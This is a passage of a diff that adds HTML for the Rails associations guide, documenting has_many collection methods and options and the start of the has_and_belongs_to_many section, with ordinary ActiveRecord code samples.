+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">Objects will be in addition destroyed if they're associated with <tt>:dependent ⇒ :destroy</tt>, and deleted if they're associated with <tt>:dependent ⇒ :delete_all</tt>.</td>
+</tr></table>
+</div>
+<h5 id="_tt_em_collection_em_objects_tt"><tt><em>collection</em>=objects</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.</p></div>
+<h5 id="_tt_em_collection_singular_em_ids_tt"><tt><em>collection_singular</em>_ids</tt></h5>
+<div class="para"><p>The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@order_ids</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>order_ids
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_singular_em_ids_ids_tt"><tt><em>_collection_singular</em>_ids=ids</tt></h5>
+<div class="para"><p>The <tt><em>_collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.</p></div>
+<h5 id="_tt_em_collection_em_clear_tt"><tt><em>collection</em>.clear</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with <tt>:dependent ⇒ :destroy</tt>, deletes them directly from the database if <tt>:dependent ⇒ :delete_all</tt>, and otherwise sets their foreign keys to <tt>NULL</tt>.</p></div>
+<h5 id="_tt_em_collection_em_empty_tt"><tt><em>collection</em>.empty?</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.empty?</tt> method returns <tt>true</tt> if the collection does not contain any associated objects.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><% if @customer.orders.empty? %></span>
+ No Orders Found
+<span style="color: #FF0000"><% end %></span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_size_tt"><tt><em>collection</em>.size</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@order_count</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_find_8230_tt"><tt><em>collection</em>.find(…)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.find</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@open_orders</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">"open = 1"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_exist_8230_tt"><tt><em>collection</em>.exist?(…)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.exists?</tt>.</p></div>
+<h5 id="_tt_em_collection_em_build_attributes_8230_tt"><tt><em>collection</em>.build(attributes = {}, …)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will <em>not</em> yet be saved.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>build<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>order_date <span style="color: #990000">=></span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>order_number <span style="color: #990000">=></span> <span style="color: #FF0000">"A12345"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_create_attributes_tt"><tt><em>collection</em>.create(attributes = {})</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>order_date <span style="color: #990000">=></span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>order_number <span style="color: #990000">=></span> <span style="color: #FF0000">"A12345"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h4 id="_options_for_has_many">4.3.2. Options for has_many</h4>
+<div class="para"><p>In many situations, you can use the default behavior for <tt>has_many</tt> without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>has_many</tt> association. For example, an association with several options might look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>dependent <span style="color: #990000">=></span> <span style="color: #990000">:</span>delete_all<span style="color: #990000">,</span> <span style="color: #990000">:</span>validate <span style="color: #990000">=></span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>has_many</tt> association supports these options:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:as</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:class_name</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:conditions</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:counter_sql</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:dependent</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:extend</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:finder_sql</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:foreign_key</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:group</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:include</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:limit</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:offset</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:order</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:primary_key</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:readonly</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:select</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:source</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:source_type</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:through</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:uniq</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:validate</tt>
+</p>
+</li>
+</ul></div>
+<h5 id="_tt_as_tt_2"><tt>:as</tt></h5>
+<div class="para"><p>Setting the <tt>:as</tt> option indicates that this is a polymorphic association, as discussed earlier in this guide.</p></div>
+<h5 id="_tt_class_name_tt_3"><tt>:class_name</tt></h5>
+<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is <tt>Transaction</tt>, you'd set things up this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=></span> <span style="color: #FF0000">"Transaction"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_conditions_tt_3"><tt>:conditions</tt></h5>
+<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>confirmed_orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=></span> <span style="color: #FF0000">"Order"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">"confirmed = 1"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can also set conditions via a hash:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>confirmed_orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=></span> <span style="color: #FF0000">"Order"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>confirmed <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you use a hash-style <tt>:conditions</tt> option, then record creation via this association will be automatically scoped using the hash. In this case, using <tt>@customer.confirmed_orders.create</tt> or <tt>@customer.confirmed_orders.build</tt> will create orders where the confirmed column has the value <tt>true</tt>.</p></div>
+<h5 id="_tt_counter_sql_tt"><tt>:counter_sql</tt></h5>
+<div class="para"><p>Normally Rails automatically generates the proper SQL to count the association members. With the <tt>:counter_sql</tt> option, you can specify a complete SQL statement to count them yourself.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">If you specify <tt>:finder_sql</tt> but not <tt>:counter_sql</tt>, then the counter SQL will be generated by substituting <tt>SELECT COUNT(*) FROM</tt> for the <tt>SELECT … FROM</tt> clause of your <tt>:finder_sql</tt> statement.</td>
+</tr></table>
+</div>
+<h5 id="_tt_dependent_tt_3"><tt>:dependent</tt></h5>
+<div class="para"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the <tt>:dependent</tt> option to <tt>:delete_all</tt>, then deleting this object will delete the associated objects <em>without</em> calling their <tt>destroy</tt> method. If you set the <tt>:dependent</tt> option to <tt>:nullify</tt>, then deleting this object will set the foreign key in the associated objects to <tt>NULL</tt>.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">This option is ignored when you use the <tt>:through</tt> option on the association.</td>
+</tr></table>
+</div>
+<h5 id="_tt_extend_tt"><tt>:extend</tt></h5>
+<div class="para"><p>The <tt>:extend</tt> option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.</p></div>
+<h5 id="_tt_finder_sql_tt"><tt>:finder_sql</tt></h5>
+<div class="para"><p>Normally Rails automatically generates the proper SQL to fetch the association members. With the <tt>:finder_sql</tt> option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.</p></div>
+<h5 id="_tt_foreign_key_tt_3"><tt>:foreign_key</tt></h5>
+<div class="para"><p>By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=></span> <span style="color: #FF0000">"cust_id"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.</td>
+</tr></table>
+</div>
+<h5 id="_tt_group_tt"><tt>:group</tt></h5>
+<div class="para"><p>The <tt>:group</tt> option supplies an attribute name to group the result set by, using a <tt>GROUP BY</tt> clause in the finder SQL.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>line_items<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=></span> <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>group <span style="color: #990000">=></span> <span style="color: #FF0000">"orders.id"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_include_tt_3"><tt>:include</tt></h5>
+<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>customer
+ has_many <span style="color: #990000">:</span>line_items
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>order
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you frequently retrieve line items directly from customers (<tt>@customer.orders.line_items</tt>), then you can make your code somewhat more efficient by including line items in the association from customers to orders:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=></span> <span style="color: #990000">:</span>line_items
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>customer
+ has_many <span style="color: #990000">:</span>line_items
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>order
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_limit_tt"><tt>:limit</tt></h5>
+<div class="para"><p>The <tt>:limit</tt> option lets you restrict the total number of objects that will be fetched through an association.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>recent_orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=></span> <span style="color: #FF0000">"Order"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=></span> <span style="color: #FF0000">"order_date DESC"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>limit <span style="color: #990000">=></span> <span style="color: #993399">100</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_offset_tt"><tt>:offset</tt></h5>
+<div class="para"><p>The <tt>:offset</tt> option lets you specify the starting offset for fetching objects via an association. For example, if you set <tt>:offset ⇒ 11</tt>, it will skip the first 10 records.</p></div>
+<h5 id="_tt_order_tt_2"><tt>:order</tt></h5>
+<div class="para"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=></span> <span style="color: #FF0000">"date_confirmed DESC"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_primary_key_tt_2"><tt>:primary_key</tt></h5>
+<div class="para"><p>By convention, Rails guesses that the column used to hold the primary key of this model is <tt>id</tt>. You can override this and explicitly specify the primary key with the <tt>:primary_key</tt> option.</p></div>
+<h5 id="_tt_readonly_tt_3"><tt>:readonly</tt></h5>
+<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated objects will be read-only when retrieved via the association.</p></div>
+<h5 id="_tt_select_tt_3"><tt>:select</tt></h5>
+<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">If you specify your own <tt>:select</tt>, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.</td>
+</tr></table>
+</div>
+<h5 id="_tt_source_tt_2"><tt>:source</tt></h5>
+<div class="para"><p>The <tt>:source</tt> option specifies the source association name for a <tt>has_many :through</tt> association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.</p></div>
+<h5 id="_tt_source_type_tt_2"><tt>:source_type</tt></h5>
+<div class="para"><p>The <tt>:source_type</tt> option specifies the source association type for a <tt>has_many :through</tt> association that proceeds through a polymorphic association.</p></div>
+<h5 id="_tt_through_tt_2"><tt>:through</tt></h5>
+<div class="para"><p>The <tt>:through</tt> option specifies a join model through which to perform the query. <tt>has_many :through</tt> associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.</p></div>
+<h5 id="_tt_uniq_tt"><tt>:uniq</tt></h5>
+<div class="para"><p>Specify the <tt>:uniq ⇒ true</tt> option to remove duplicates from the collection. This is most useful in conjunction with the <tt>:through</tt> option.</p></div>
+<h5 id="_tt_validate_tt_3"><tt>:validate</tt></h5>
+<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>false</tt>, then associated objects will not be validated whenever you save this object. By default, this is <tt>true</tt>: associated objects will be validated when this object is saved.</p></div>
+<h4 id="_when_are_objects_saved_3">4.3.3. When are Objects Saved?</h4>
+<div class="para"><p>When you assign an object to a <tt>has_many</tt> association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.</p></div>
+<div class="para"><p>If any of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
+<div class="para"><p>If the parent object (the one declaring the <tt>has_many</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.</p></div>
+<div class="para"><p>If you want to assign an object to a <tt>has_many</tt> association without saving the object, use the <tt><em>collection</em>.build</tt> method.</p></div>
+<h3 id="_the_tt_has_and_belongs_to_many_tt_association_2">4.4. The <tt>has_and_belongs_to_many</tt> Association</h3>
+<div class="para"><p>The <tt>has_and_belongs_to_many</tt> association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.</p></div>
+<h4 id="_methods_added_2">4.4.1. Methods Added</h4>
+<div class="para"><p>When you declare a <tt>has_and_belongs_to_many</tt> association, the declaring class automatically gains 13 methods related to the association:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt><em>collection</em>(force_reload = false)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em><<(object, …)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.delete(object, …)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>=objects</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection_singular</em>_ids</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection_singular</em>_ids=ids</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.clear</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.empty?</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.size</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.find(…)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.exist?(…)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.build(attributes = {})</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.create(attributes = {})</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to <tt>has_many</tt>, and <tt><em>collection</em>_singular</tt> is replaced with the singularized version of that symbol.. For example, given the declaration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Each instance of the part model will have these methods:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assemblies<span style="color: #990000">(</span>force_reload <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
+assemblies<span style="color: #990000"><<(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
+assemblies<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
+assemblies<span style="color: #990000">=</span>objects
+assembly_ids
+assembly_ids<span style="color: #990000">=</span>ids
+assemblies<span style="color: #990000">.</span>clear
+assemblies<span style="color: #990000">.</span>empty?
+assemblies<span style="color: #990000">.</span>size
+assemblies<span style="color: #990000">.</span>find<span style="color: #990000">(...)</span>
+assemblies<span style="color: #990000">.</span>exist?<span style="color: #990000">(...)</span>
+assemblies<span style="color: #990000">.</span>build<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">,</span> <span style="color: #990000">...)</span>
+assemblies<span style="color: #990000">.</span>create<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_additional_column_methods">Additional Column Methods</h5>
+<div class="para"><p>If the join table for a <tt>has_and_belongs_to_many</tt> association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">The use of extra attributes on the join table in a <tt>has_and_belongs_to_many</tt> association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a <tt>has_many :through</tt> association instead of <tt>has_and_belongs_to_many</tt>.</td>
+</tr></table>
+</div>
+<h5 id="_tt_em_collection_em_force_reload_false_tt_2"><tt><em>collection</em>(force_reload = false)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@assemblies</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_lt_lt_object_8230_tt_2"><tt><em>collection</em><<(object, …)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by creating records in the join table.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies <span style="color: #990000"><<</span> <span style="color: #009900">@assembly1</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>.</td>
+</tr></table>
+</div>
+<h5 id="_tt_em_collection_em_delete_object_8230_tt_2"><tt><em>collection</em>.delete(object, …)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>delete<span style="color: #990000">(</span><span style="color: #009900">@assembly1</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_objects_tt_2"><tt><em>collection</em>=objects</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.</p></div>
